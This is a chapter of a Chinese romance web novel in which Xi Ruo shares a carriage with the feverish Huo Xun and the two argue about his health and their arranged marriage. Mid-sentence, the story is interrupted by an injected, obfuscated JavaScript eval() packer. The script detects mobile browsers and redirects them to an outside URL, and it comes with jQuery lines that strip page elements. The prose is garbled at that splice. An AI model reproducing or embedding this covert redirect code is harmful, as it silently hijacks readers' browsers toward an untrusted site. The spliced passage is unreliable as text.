13. 别扭
作品:《脉脉至遥迢》 息偌就这么被霍恂莫名其妙地从彭家带走了。
小盼坐在息家的马车上跟在后面,息偌则被带上了霍恂来时所乘的马车。
霍恂这辆车瞧着并不如何张扬,外貌上和息家的车区别也不大,可是内里却很是不同。
他这车里用油毡封得严严实实,甚至四壁还多铺了一层绒垫。座椅上放着毛毯,脚下踩着长绒地毯,车厢正中还放了个不小的炭盆,用铜盖封着,但还是向外蒸腾着热气。
息偌一上车,便觉温暖非常。虽然息家的马车布置上已经很是细致,却还是比不上霍恂这边。
霍恂将自己的大氅松开了些,又对她道:“先将斗篷脱了罢。车里热,等下出去扑了风不好。”
他还补充了一句,道:“没人看见,你下车前穿好就是。”
其实这也算不得什么于理不合。息偌实在也是觉得热,便伸手脱了外头的厚斗篷放在一旁,而后看着霍恂道:“你很畏冷吗?”
她已经发现了,他们这两回相见,只要是在室内,炭盆总是生得很旺,如果去了室外,霍恂的衣裳穿得也总比寻常人要厚上许多。
就如这次上车,虽然都是从寒天里走进来,她可以直接脱掉斗篷也不觉寒冷,但是霍恂就不行。
他连大氅的带子都没解开,只是将身前的衣摆往两边别了别,分明是打算还要再穿一穿才脱。
这事并不难发现,也没什么可特意遮掩的。霍恂听见她问,便答道:“我从前身体不好,到了冬日容易生病,越不敢受寒,就越容易受寒。习惯养得久了,就只能如此了。”
息偌露出一种若有所思的神情。
霍恂发现她其实是个心思很活络的姑娘,好的是,在他面前,她其实并不如何多做掩饰,这是一个很好的表现——
证明她对他的态度并不十分排斥。
他看见她这样的表情,笑道:“你可以放心,我只是易病,倒不至于死得多快,让你刚成婚就要守寡。”
息偌的确是在考虑他多病的身体,但绝对没有想到什么死啊守寡啊的事上。她听见霍恂居然这么冤枉她,立刻道:“你说的!我可没有在想这些!”
霍恂不在意道:“想也没什么,人之常情。你长兄选择让你与我联姻,心里未必没有盘算,若是我早早就病死了,你年纪轻轻带着诰命,又有息家为你托底,将来还好再嫁的。到时候,你想要什么喜欢的郎君没有?”
他甚至还敢提冯晚——
“那位冯郎,如今眼看着是追悔莫及,尚不知是不是真悔了。若到那时,他仍对你念念不忘,你也玩弄他一回,也并无不可。”
他有时候说话真是直白得有些可怕。
他似乎并不觉得和息偌说某些事有多么不合适,虽然有些话听起来十分刺耳,但在他看来,那就是事实真相,息偌既然身在其中,那么也是该听清楚的。
但对息偌来说,虽然这桩婚事在点头时并不算十分的情愿,可是这样的想法却也不在她所思之内。
她会希望万事尽力去往最好的方向走,在没看到结果之前,她不大喜欢听这样的话。
她十分安静地看着霍恂说话,眉心拧出一个很细很细的皱,待他话毕,安静了一会儿,她就转过了头去。
霍恂自然不会迟钝到连她的排斥都感受不到,他看着她的侧脸,无声地微叹,却没有开口多说。
他病还没好,今天还发着烧,如果不是息停当面故意说了那么多话,他本该在家里养病才对。
今天出来折腾了这么久,又在外头吹了很久的风,他觉得头有些疼了。
他没扯旁边的毛毯,就这么靠着身后的软垫,将头仰起抵住车壁,以这种姿势阖上双目养神。
车内瞬间安静了下来,息偌自己盯着墙角地毯的绒边放空,说不上自己在烦什么,就是觉得心里很烦闷,想来想去,就是被霍恂堵的。
就只有他成日里长着一张嘴,却偏偏不说好话,非要气她不可。
她悄悄用余光去瞥,看到霍恂旁若无人地闭目小憩,她就更不舒服了。
息偌暗暗伸出脚,在他鞋边碰了一下。
她碰得很轻,如果他真的已经半睡,那是绝对不该感觉得到的。
但是他在一段短暂的停顿之后,在息偌打算重新转回头的时候,却忽然睁开了眼睛。
他似乎是真的入睡了,睁眼的那瞬间,眼神里还有些蒙蒙,像是在黑白山水之外笼了一层薄雾,晨间山岚一般的景象。
他眨了眨眼睛,那层薄雾又被他驱散。他望向息偌,似有些迟钝地反应过来一般,问道:“怎么了?”
他此时的模样实在和先前区别太大,没有什么锋芒,看得息偌一时都不大好意思用太尖锐直白的言辞说他。
于是嗫嚅了半天,就冒出来一句——
“你很累吗?”
霍恂微微怔了怔,想自己是不是感觉错了,才让她憋出这么一句话来应付他。他微微顿了顿,道:“还好,这几天晚上风大,吵得很,睡不好。”
这两句话听上去真像没话找话。
息偌“哦”了一声,在安静里又坐了一会儿,浅浅纠结了一下,就着未散尽的胆气同他道:“我没想那些事,你把我想得也太坏了。”
霍恂反应了一下,想起前头那些话。死,守寡,改嫁,这些事他的确是想过的,并且很轻松地就抛过去了,他觉得这些对他而言很随意,没有什么不能接受的。
但似乎这里有个无法接受的娇小姐,正在为此闹别扭。
他试图讲道理,道:“给自己盘算未来,不算坏。”
息偌偏着头不理他,口中问道:“为什么非要是你死了呢?咱们就不能好好活着,好好过日子吗?”
好好活着。
真是好听的几个字。
好听到霍恂早在多年以前就不会去想了。
他不动声色地转换话题,故意调笑道:“四娘子,六礼还没走完,你已经想好要与我一起过日子了?”
息偌板着脸打断他的不着调,道:“我也没想这些。”
“真是可惜。”
霍恂半真半假地道:“我却有那么几次,想着要和四娘子好好过日子呢。”
息偌斩钉截铁地道:“不可能。”
霍恂笑道:“怎么就不可能?”
息偌道:“想好好过日子的人,谁会成天想着自己死了妻子改嫁?”
得,又绕回去了。
霍恂无奈道:“这也是没法的事。我身体一直比常人多病,将来年寿不永,这是迟早的事。我可以接受,你也做好准备,你心里又不是真的喜欢我,何必放着将来的好日子不过,非要去受罪守寡?”
他看着她那双明亮又漂亮的眼睛,笑问道:“还是说,你心里喜欢我呢?”
息偌冷脸道:“你没睡醒罢?”
霍恂于是真就将眼睛又重新阖上了,又靠了回去,继续养神。
息偌觉得他有一个坏习惯。每一次,他都会用很散漫的口吻说出一件很严肃的事,明明知道她在意,明明看到她认真,他却又闭口不谈,转而用打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469375|168229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
趣的语气将这事越过去。
他从从容容地抽身来去,留着她一个被吊在半空的话口上,不上又不下。
臭毛病!他怎么这么多臭毛病!真是矫情!
她迟早一条一条都给他治了。
息偌心里气不过,朝着他坐的位置挪了挪,打算好好教训教训他。
但就是这么一坐,角度微微一换,光线好像也微微变了一些。她稍近一些看清了他的脸,不知道是不是被车厢里的热气蒸的,他原本白净的脸上露出了一种很不正常的红色。
车上这么热,他提醒了她脱外衣,自己却仍捂着……息偌终于意识到某些不对之处。
在彭家的时候,她指尖和他掌心触碰的那个瞬间,他的掌心也是热的。
她纠结了一下,并很快就纠结完成,然后伸出了一只手,贴在了他的额头上。
滚烫的热度和他睁眼后清明的目光一起,同时投向了她的身体。
霍恂其实没打算暴露自己生病的事实,既然没有接触,她也就不会发现。但这个探究的动作的确出乎他意料之外,所以他的岿然不动,实际上是因为自己怔住了,一时没想好如何反应。
而息偌已经将手收回来了。
她看着他,皱着眉道:“难怪今天一直胡言乱语呢,你怕不是把脑子都烧坏了罢?”
这温度简直烧手。
分明她之前见他的时候,他还一切都好好的,今天这烧起来,也不像是突然的事,否则在小暖阁的时候,他就不会看着那么疲惫。
息偌想了想,有些不可置信道:“你该不会是因为在西市逛街冻病的罢?”
既然她发现了,霍恂也就无所谓费力遮掩了,应声道:“啊,对啊。”
他这么自然,对自己生病的事接受自如,想到他前面说的那些话——他如此了解自己的身体,肯定知道如果自己去西市吹风必然会生病的。
息偌睁大眼睛,问道:“那你还去逛那么久干什么?自己找罪受?”
霍恂不再强撑精力,懒懒地半垂着眼,倚着车壁道:“我着急订婚,不出去转一圈,怎么让人知道你和我在一起了?”
息偌无语道:“这有什么可着急的?”
她长兄都没着急到这个份儿上。难道不应该是她长兄更着急才对吗?
霍恂微微侧首,道:“你是没见过陛下如何催我。”
他连活不长久不肯耽误旁人的话都说出来了,今上一边难过,给他找太医问诊,一边还是没忘给他解决婚姻大事。
真麻烦。
如此观之,连上赶着给他找麻烦的息停都变得有些可亲了。
起码他送过来的,不是一张又一张无趣又趋同的美人画卷,也不是一个又一个妙曼娴雅的美丽姓名,而是一个活生生的息四娘。
息偌听着这话,心里却在想,今上年轻,即位没有多久,正是有宏图壮志的时候。成日里凡能空出半分精力来,都要扑在国事上,连带着她长兄都忙碌非常。
他连自己的婚姻和后嗣都不重视,至今膝下无子,后宫仅有四位妃嫔,哪里像是会有闲情关心旁人婚事的样子。
她希望这是假话。
如果是真话,那就说明今上对霍恂是真的十分重视,那么她长兄的那些担忧,就要更上层楼。
霍恂从她的眼睛里,轻易地读懂了她的心思。
她太单纯,也太聪明了。
他就是有些惋惜——
怎么讲正事要来闹脾气,想谈情她又这么不开窍?
真愁人。